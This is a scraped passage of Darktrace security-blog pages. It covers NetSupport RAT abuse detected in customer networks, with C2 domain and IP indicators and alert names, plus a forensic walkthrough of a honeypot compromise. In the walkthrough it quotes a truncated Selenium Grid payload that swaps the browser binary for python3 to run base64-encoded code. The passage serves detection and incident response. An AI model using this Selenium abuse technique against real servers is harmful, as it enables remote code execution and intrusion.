Figure 1: Attack flow diagram highlighting key events across each phase of the attack phase [2][5].

Darktrace coverage

In November of 2025, suspicious behavior indicative of the malicious abuse of NetSupport Manager was observed on multiple customers across Europe, the Middle East, and Africa (EMEA) and the Americas (AMS).

While open-source intelligence (OSINT) has reported that, in a recent campaign, a threat actor impersonated government entities to trick users in organizations in the Information Technology, Government and Financial Services sectors in Central Asia into downloading NetSupport Manager [8], approximately a third of Darktrace’s affected customers in November were based in the US while the rest were based in EMEA. This contrast underscores how widely NetSupport Manager is leveraged by threat actors and highlights its accessibility as an initial access tool.

The Darktrace customers affected were in sectors including Information and Communication, Manufacturing and Arts, entertainment and recreation.

The ClickFix social engineering tactic typically used to distribute the NetSupport RAT is known to target multiple industries, including Technology, Manufacturing and Energy sectors [9]. It also reflects activity observed in the campaign targeting Central Asia, where the Information Technology sector was among those affected [8].

The prevalence of affected Education customers highlights NetSupport’s marketing focus on the Education sector [10]. This suggests that threat actors are also aware of this marketing strategy and have exploited the trust it creates to deploy NetSupport Manager and gain access to their targets’ systems. While the execution of the PowerShell commands that led to the installation of NetSupport Manager falls outside of Darktrace's purview in cases identified, Darktrace was still able to identify a pattern of devices making connections to multiple rare external domains and IP addresses associated with the NetSupport RAT, using a wide range of ports over the HTTP protocol. A full list of associated domains and IP addresses is provided in the Appendices of this blog.

Although OSINT identifies multiple malicious domains and IP addresses as used as C2 servers, signature-based detections of NetSupport RAT indicators of compromise (IoCs) may miss broader activity, as new malicious websites linked to the RAT continue to appear.

Darktrace’s anomaly‑based approach allows it to establish a normal ‘pattern of life’ for each device on a network and identify when behavior deviates from this baseline, enabling the detection of unusual activity even when it does not match known IoCs or tactics, techniques and procedures (TTPs).

In one customer environment in late 2025, Darktrace / NETWORK detected a device initiating new connections to the rare external endpoint, thetavaluemetrics[.]com (74.91.125[.]57), along with the use of a previously unseen user agent, which it recognized as highly unusual for the network.

Figure 2: Darktrace’s detection of HTTP POST requests to a suspicious URI and new user agent usage.

Darktrace identified that user agent present in connections to this endpoint was the ‘NetSupport Manager/1.3’, initially suggesting legitimate NetSupport Manager activity. Subsequent investigation, however, revealed that the endpoint was in fact a malicious NetSupportRAT C2 endpoint [12]. Shortly after, Darktrace detected the same device performing HTTP POST requests to the URI fakeurl[.]htm. This pattern of activity is consistent with OSINT reporting that details communication between compromised devices and NetSupport Connectivity Gateways functioning as C2 servers [11].

Conclusion

As seen not only with NetSupport Manager but with any legitimate or open‑source software used by IT and security professionals, the legitimacy of a tool does not prevent it from being abused by threat actors. Open‑source software, especially tools with free or trial versions such as NetSupport Manager, remains readily accessible for malicious use, including network compromise. In an age where remote work is still prevalent, validating any anomalous use of software and remote management tools is essential to reducing opportunities for unauthorized access.

Darktrace’s anomaly‑based detection enables security teams to identify malicious use of legitimate tools, even when clear signatures or indicators of compromise are absent, helping to prevent further impact on a network.

Credit to George Kim (Analyst Consulting Lead – AMS), Anna Gilbertson (Senior Cyber Analyst)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Alerts

· Compromise / Suspicious HTTP and Anomalous Activity

· Compromise / New User Agent and POST

· Device / New User Agent

· Anomalous Connection / New User Agent to IP Without Hostname

· Anomalous Connection / Posting HTTP to IP Without Hostname

· Anomalous Connection / Multiple Failed Connections to Rare Endpoint

· Anomalous Connection / Application Protocol on Uncommon Port

· Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

· Compromise / Beaconing Activity To External Rare

· Compromise / HTTP Beaconing to Rare Destination

· Compromise / Agent Beacon (Medium Period)

· Compromise / Agent Beacon (Long Period)

· Compromise / Quick and Regular Windows HTTP Beaconing

· Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

· Compromise / POST and Beacon to Rare External

Indicators of Compromise (IoCs)

Indicator Type Description

/fakeurl.htm URI NetSupportRAT C2 URI

thetavaluemetrics[.]com Connection hostname NetSupportRAT C2 Endpoint

westford-systems[.]icu Connection hostname NetSupportRAT C2 Endpoint

holonisz[.]com Connection hostname NetSupportRAT C2 Endpoint

heaveydutyl[.]com Connection hostname NetSupportRAT C2 Endpoint

nsgatetest1[.]digital Connection hostname NetSupportRAT C2 Endpoint

finalnovel[.]com Connection hostname NetSupportRAT C2 Endpoint

217.91.235[.]17 IP NetSupportRAT C2 Endpoint

45.94.47[.]224 IP NetSupportRAT C2 Endpoint

74.91.125[.]57 IP NetSupportRAT C2 Endpoint

88.214.27[.]48 IP NetSupportRAT C2 Endpoint

104.21.40[.]75 IP NetSupportRAT C2 Endpoint

38.146.28[.]242 IP NetSupportRAT C2 Endpoint

185.39.19[.]233 IP NetSupportRAT C2 Endpoint

45.88.79[.]237 IP NetSupportRAT C2 Endpoint

141.98.11[.]224 IP NetSupportRAT C2 Endpoint

88.214.27[.]166 IP NetSupportRAT C2 Endpoint

107.158.128[.]84 IP NetSupportRAT C2 Endpoint

87.120.93[.]98 IP Rhadamanthys C2 Endpoint

References

1. https://mspalliance.com/netsupport-debuts-netsupport-24-7/

2. https://blogs.vmware.com/security/2023/11/netsupport-rat-the-rat-king-returns.html

3. https://redcanary.com/threat-detection-report/threats/netsupport-manager/

4. https://www.elastic.co/guide/en/security/8.19/netsupport-manager-execution-from-an-unusual-path.html

5. https://rewterz.com/threat-advisory/netsupport-rat-delivered-through-spoofed-verification-pages-active-iocs

6. https://thehackernews.com/2025/11/new-evalusion-clickfix-campaign.html

7. https://corelight.com/blog/detecting-netsupport-manager-abuse

8. https://thehackernews.com/2025/11/bloody-wolf-expands-java-based.html

9. https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/

10. https://www.netsupportsoftware.com/education-solutions/

11. https://www.esentire.com/blog/unpacking-netsupport-rat-loaders-delivered-via-clickfix

‍

About the author

George Kim

Analyst Consulting Lead – AMS

Blog

Cloud

March 5, 2026

Inside Cloud Compromise: Investigating Attacker Activity with Darktrace / Forensic Acquisition & Investigation

Investigating Cloud Attacks with Forensic Acquisition & Investigation

Darktrace / Forensic Acquisition & Investigation™ is the industry’s first truly automated forensic solution purpose-built for the cloud. This blog will demonstrate how an investigation can be carried out against a compromised cloud server in minutes, rather than hours or days.

The compromised server investigated in this case originates from Darktrace’s Cloudypots system, a global honeypot network designed to observe adversary activity in real time across a wide range of cloud services. Whenever an attacker successfully compromises one of these honeypots, a forensic copy of the virtual server's disk is preserved for later analysis. Using Forensic Acquisition & Investigation, analysts can then investigate further and obtain detailed insights into the compromise including complete attacker timelines and root cause analysis.

Forensic Acquisition & Investigation supports importing artifacts from a variety of sources, including EC2 instances, ECS, S3 buckets, and more. The Cloudypots system produces a raw disk image whenever an attack is detected and stores it in an S3 bucket. This allows the image to be directly imported into Forensic Acquisition & Investigation using the S3 bucket import option.

As Forensic Acquisition & Investigation runs cloud-natively, no additional configuration is required to add a specific S3 bucket. Analysts can browse and acquire forensic assets from any bucket that the configured IAM role is permitted to access. Operators can also add additional IAM credentials, including those from other cloud providers, to extend access across multiple cloud accounts and environments.

*Figure 1: Forensic Acquisition & Investigation import screen.*

Forensic Acquisition & Investigation then retrieves a copy of the file and automatically begins running the analysis pipeline on the artifact. This pipeline performs a full forensic analysis of the disk and builds a timeline of the activity that took place on the compromised asset. By leveraging Forensic Acquisition & Investigation’s cloud-native analysis system, this process condenses hour of manual work into just minutes.

*Figure 2: Successful import of a forensic artifact and initiation of the analysis pipeline.*

Once processing is complete, the preserved artifact is visible in the Evidence tab, along with a summary of key information obtained during analysis, such as the compromised asset’s hostname, operating system, cloud provider, and key event count.

*Figure 3: The Evidence overview showing the acquired disk image.*

Clicking on the “Key events” field in the listing opens the timeline view, automatically filtered to show system- generated alarms.

The timeline provides a chronological record of every event that occurred on the system, derived from multiple sources, including:

Parsed log files such as the systemd journal, audit logs, application specific logs, and others.
Parsed history files such as .bash_history, allowing executed commands to be shown on the timeline.
File-specific events, such as files being created, accessed, modified, or executables being run, etc.

This approach allows timestamped information and events from multiple sources to be aggregated and parsed into a single, concise view, greatly simplifying the data review process.

Alarms are created for specific timeline events that match either a built-in system rule, curated by Darktrace’s Threat Research team or an operator-defined created at the project level. These alarms help quickly filter out noise and highlight on events of interest, such as the creation of a file containing known malware, access to sensitive files like Amazon Web Service (AWS) credentials, suspicious arguments or commands, and more.

*Figure 4: The timeline view filtered to alarm_severity: “1” OR alarm_severity: “3”, showing only events that matched an alarm rule.*

In this case, several alarms were generated for suspicious Base64 arguments being passed to Selenium. Examining the event data, it appears the attacker spawned a Selenium Grid session with the following payload:

"request.payload": "[Capabilities {browserName: chrome, goog:chromeOptions: {args: [-cimport base64;exec(base64...], binary: /usr/bin/python3, extensions: []}, pageLoadStrategy: normal}]"

This is a common attack vector for Selenium Grid. The chromeOptions object is intended to specify arguments for how Google Chrome should be launched; however, in this case the attacker has abused the binary field to execute the Python3 binary instead of Chrome. Combined with the option to specify command-line arguments, the attacker can use Python3’s -c option to execute arbitrary Python code, in this instance, decoding and executing a Base64 payload.

Selenium’s logs truncate the Arguments field automatically, so an alternate method is required to retrieve the full payload. To do this, the search bar can be used to find all events that occurred around the same time as this flagged event.

*Figure 5: Pivoting off the previous event by filtering the timeline to events within the same window using timestamp: [“2026-02-18T09:09:00Z” TO “2026-02-18T09:12:00Z”].*

Scrolling through the search results, an entry from Java’s systemd journal can be identified. This log contains the full, unaltered payload. GCHQ’s CyberChef can then be used to decode the Base64 data into the attacker’s script, which will ultimately be executed.[NJ9]

About the author

Nathaniel Bill

Malware Research Engineer

あなたのデータ × DarktraceのAI

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デモを予約

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

NetSupport RAT: How Legitimate Tools Can Be as Damaging as Malware

How AI is redefining cybersecurity and the role of today’s CIO

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Network

March 10, 2026

NetSupport RAT: How Legitimate Tools Can Be as Damaging as Malware

What is NetSupport Manager?

What is NetSupport RAT?

NetSupport RAT activity summary

Darktrace coverage

Conclusion

Blog

Cloud

March 5, 2026

Inside Cloud Compromise: Investigating Attacker Activity with Darktrace / Forensic Acquisition & Investigation

Investigating Cloud Attacks with Forensic Acquisition & Investigation